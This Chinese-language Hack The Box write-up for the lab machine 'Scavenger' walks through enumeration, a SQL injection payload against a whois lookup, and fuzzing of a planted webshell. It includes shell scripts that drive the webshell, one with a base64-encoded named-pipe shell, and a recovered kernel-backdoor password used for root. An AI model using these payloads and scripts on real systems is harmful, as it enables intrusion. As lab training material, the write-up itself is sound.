Hack The Box——Scavenger

目錄

簡介

信息收集

漏洞發現

漏洞利用

權限提升

獲得ib01ftp用戶FTP服務權限

獲得ib01c01用戶FTP服務權限

獲得內核後門的密碼

總結


簡介

這是一個比較難的靶機,雖然開啓的端口很多,可以獲取到大量信息,但是需要進行甄別,需要對該靶機進行DNS枚舉、web目錄枚舉,ftp服務枚舉等。通過DNS枚舉發現被入侵的網站,通過枚舉webshell密碼獲得低權限shell,然後在目標主機發現明文存儲的多個密碼,然後通過枚舉登錄ftp服務,獲取到黑客攻擊的日誌、流量數據包和內核後門文件,通過分析日誌和流量數據包瞭解到黑客入侵的過程,最後經過對內核後門文件的逆向分析獲取到後門程序的密碼,從而獲得root權限。

信息收集

使用nmap 10.10.10.155 -A掃描目標主機,可以看到開啓了很多端口(21,22,25,43,53,80)和對應的服務以及版本信息,操作系統是Debian,版本基本上是10.0左右了。43端口運行這whois服務,然後在下邊看到WHOIS server server [email protected]和http://www.supersechosting.htb。如圖:

使用searchsploit和Google搜索各服務程序對應版本的已知漏洞,發現Exim smtpd 4.89存在遠程命令執行漏洞(CVE-2017-16943,CVE-2018-6789),ISC BIND 9存在拒絕服務漏洞。訪問80端口的web服務發現Virtualhost not available,使用dirbuster掃描web目錄,如圖:

沒有什麼有價值的信息,然後使用whois命令連接到目標主機查詢supersechosting.htb域,如圖:

發現whois.supersechosting.htb和ns1.supersechosting.htb域名,修改/etc/hosts文件,將其解析到10.10.10.155主機,然後使用host命令列出supersechosting.htb域中的所有主機,又發現ftp.supersechosting.htb,maiil1.supersechosting.htb等域名,如圖:

再次修改hosts文件,將發現的所有域名解析到目標主機。www.supersechosting.htb發現如下頁面:

這是一個Web主機和域名註冊系統,使用了PHP7和MySQL,在頁面中又發現的新的域名dns.supersechosting.htb,添加到hosts文件後發現只有www.supersechosting.htb可以訪問,其它的都不能訪問。

漏洞發現

使用CVE-2018-6789公開的exp測試並改進後還是無法枚舉出偏移地址,因此無法利用該漏洞。結合網頁中發現的信息,在域名後添加單引號測試域名查詢處是否存在SQL注入,如圖:

數據庫在含單引號的域名處報錯,且有一個但括號,進一步構造payload:htb')or'1'-- -,如圖:

成功執行payload,且發現三個域名:justanotherblog.htb,pwnhats.htb和rentahacker.htb。然後使用host命令列出域內所有主機,發現www.justanotherblog.htb,mail1.justanotherblog.htb,www.pwnhats.htb,mail1.pwnhats.htb,www.rentahacker.htb,mail1.rentahacker.htb和sec03.rentahacker.htb。添加到hosts文件之後訪問,mail1子域無法訪問,www.justanotherblog.htb網站還在建設中,訪問www.pwnhats.htb網站,是個賣帽子的網站,有查詢框,但不存在注入漏洞。如圖:

訪問www.rentahacker.htb網站,一個出售邪惡需求的網站,有查詢框,一些留言和留言提交框,但都不存在漏洞。在留言中發現31173 HAXXOR team留言網站被他們攻破了,且在網站底部發現網站使用WordPress。如圖:

訪問sec03.rentahacker.htb網站,發現是31173 HAXXOR team留下來的,如圖:

看來網站果然被黑了,在頁面源代碼中沒發現有用的信息,然後掃描www.pwnhats.htb,www.rentahacker.htb和sec03.rentahacker.htb網站目錄,尋找一些信息,以及查看是否存在webshell文件。掃描www.pwnhats.htb網站目錄,發現upload和download等目錄,但沒用訪問權限,如圖:

掃描www.rentahacker.htb網站目錄,發現admin和wp-includes目錄,但沒用訪問權限,wp-content目錄有訪問權限,但沒什麼有價值的信息,如圖:

掃描sec03.rentahacker.htb網站,發現signup.php,login.php,core.php,view.php和shell.php等文件,均有訪問權限。如圖:

訪問login.php發現網站使用MantisBT,顯示應用程序錯誤,然後查看源碼發現URL,如圖:

點擊url繼續查看發現xml文件中包含了url,如圖:

打開url之後如圖:

嘗試使用默認用戶administrator和密碼root進行登錄,如圖:

在左上角菜單中Manage中發現php版本以及存在普通用戶ib01c03用戶,如圖:

訪問shell.php發現頁面沒有任何顯示,嘗試使用GET和POST方法傳遞cmd,shell,pass,haxxor等參數,如圖:

 沒有任何回顯信息。看來需要枚舉參數了,爲了方便就不適用BurpSuite了,直接使用wfuzz工具進行枚舉參數。先使用GET請求進行枚舉(wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hh 0 http://sec03.rentahacker.htb/shell.php?FUZZ=ls),如圖:

發現參數爲hidden時HTTP響應有較多數據,然後嘗試執行id命令,如圖:

漏洞利用

爲了更方便的執行命令,在本地開啓4444端口監聽,利用該webshell反彈一個交互式shell到本地,然而無法利用bash反彈shell,且nc和curl命令沒有權限執行,使用wget上傳nc也沒有建立連接,應該是目標主機防火牆做了限制。自行編寫shell腳本scav.sh進行簡單優化:

#!/bin/sh
#http://sec03.rentahacker.htb/shell.php
while true;do
    echo -n "scav\$ "
    read cmd
    curl -G http://sec03.rentahacker.htb/shell.php --data-urlencode "hidden=$cmd"
done

運行該腳本可以獲得更方便的shell,如圖:

但畢竟不是交互式shell,無法通過cd命令切換目錄,且當前shell權限較低。使用命名管道在之前的shell腳本上繼續優化,獲得交互式shell:

#!/bin/sh

url="http://sec03.rentahacker.htb/shell.php"
user=$(curl -G --output - $url --data-urlencode "hidden=whoami" 2>/dev/null)
host=$(curl -G --output - $url --data-urlencode "hidden=hostname" 2>/dev/null)

curl -G --output - $url --data-urlencode "hidden=rm -rf /dev/shm/*"
mkf="bWtmaWZvIC9kZXYvc2htL2ZpO3RhaWwgLWYgL2Rldi9zaG0vZmkgfCAvYmluL3NoIDI+JjEgPi9kZXYvc2htL2ZvCg=="

curl -G --output - $url --data-urlencode "hidden=echo $mkf | base64 -d | /bin/sh" &

while true;do
    echo -n "$user@$host:\$ "
    read cmd
    if [ "$cmd" = "exit" ];then
        pid=$(ps -aux | grep curl | awk '{print $2}')
        kill -9 $pid 2>/dev/null
        exit
    fi
    curl -G --output - $url --data-urlencode "hidden=echo $cmd >/dev/shm/fi"
    curl -G --output - $url --data-urlencode "hidden=cat /dev/shm/fo"
    curl -G --output - $url --data-urlencode "hidden=cat /dev/null >/dev/shm/fo"
done

權限提升

查看當前目錄下的文件,在config目錄下發現數據庫用戶名和密碼,如圖:

嘗試使用該用戶名密碼通過ssh和ftp登錄目標主機,使用ftp成功登錄,如圖:

查看一番目錄後沒什麼有價值的發現,嘗試創建.ssh目錄卻沒有權限。使用webshell查看/etc/passwd文件,發現普通用戶support和其他類似ib01c03的用戶,如圖:

獲得ib01ftp用戶FTP服務權限

但沒有權限查看它們的目錄,然後查看其他目錄,在/var/spool/目錄下發現一個mail目錄,裏邊有一個可以讀取的ib01c03文件,如圖:

 發現了ftp的用戶名和密碼,可以登錄,然後發現一些文件,如圖:

將文件下載到本地,然後查看ib01c03目錄發現沒有文件。然後分析ib01c01.access.log文件,都是一些Web訪問記錄,訪問其中的一個地址:htt
p://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201,如圖:

嘗試一些弱口令無法登錄,然後查看notes.txt發現是靶機作者提示我們去分析日誌和pcap文件,然後使用wireshark查看ib01c01_incident.pcap文件,篩選http協議,發現一個POST請求中包含了用戶名和密碼,如圖:

然後查看HTTP流發現並未登錄成功,如圖:

然後篩選使用http POST方法的請求包,發現另一個密碼,如圖:

查看HTTP流發現登錄成功,如圖:

然後查看第三個POST請求包,發現上傳了使用base64編碼的惡意代碼,如圖:

經過base64解碼之後是反彈shell的命令,如圖:

通過篩選4444端口查看黑客獲得shell之後做了什麼,依次查看,在第378個數據包的TCP流中發現黑客執行了ls,cd,wget等命令,如圖:

黑客上傳了Makefile和root.c文件到目標主機,並反彈了一個加密的shell到他的主機,之後的命令就被加密了。篩選http協議然後查找Makefile和root.c文件的數據包,如圖:

在HTTP流中可以看到文件內容,如圖:

爲了方便使用,將其響應數據包(第426和第489個數據包)中的內容導出到本地。查看root.c文件發現着是一個內核後門程序的源代碼。由此可見我們也可以利用此方法獲得一個shell,然後通過後門文件獲得root權限。修改返回的地址,然後使用base64編碼,並驗證,如圖:

啓動瀏覽器和BurpSuite,設置代理,使用獲取到的Email和密碼登錄,然後將URL參數controller的值AdminDashboard改爲AdminCustomerThreads,然後提交,如圖:

點擊橙色按鈕即可到達執行惡意代碼的頁面,然後替換base64編碼部分,如圖:

點擊右下角保存之後並沒有反彈回shell,同樣也無法使用bash反彈shell,應該是黑客禁止了所有外連命令的執行。

獲得ib01c01用戶FTP服務權限

使用獲取到的密碼Thi$sh1tIsN0tGut,YhgRt56_Ta,GetYouAH4t!嘗試枚舉ib01c01,ib01c02,ib01c03和support用戶。使用GetYouAH4t!可以登錄ib01c01用戶的ftp,如圖:

在/home/ib01c01下發現access.txt和user.txt文件及www目錄和...目錄,如圖:

查看access.txt發現記錄着ib01c01的ftp用戶名和密碼,www是賣帽子的網站目錄,...目錄下有一個root.ko內核模塊文件,應該是之前導出的root.c編譯後的文件。查看該模塊發現已經加載,如圖:

嘗試連接內核後門,並沒有成功,如圖:

看來密碼被更換了,嘗試31173,HAXXOR等也未成功。

獲得內核後門的密碼

將root.ko下載到本地,使用64爲IDA進行分析,依次查看左側函數,在root_write函數的僞代碼中發現字符串複製,如圖:

嘗試使用g3tPr1v連接後門程序,成功獲得root權限,如圖:

總結

該靶機設計的還算不錯,從信息收集到攻擊回溯,再到日誌分析,流量分析,逆向分析,多方位考察滲透者的技能,但總的來說主要還是考察了枚舉。而我在滲透過程中在whois查詢的SQL注入漏洞那裏卡了段時間,接着又是ftp枚舉那裏卡了段時間。枚舉是最簡單的方法,成功的關鍵在於收集到的信息和使用的字典,而我通常都是將枚舉攻擊放到最後,因此對於這種主要靠枚舉攻擊進入的靶機還是有點喫力的。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章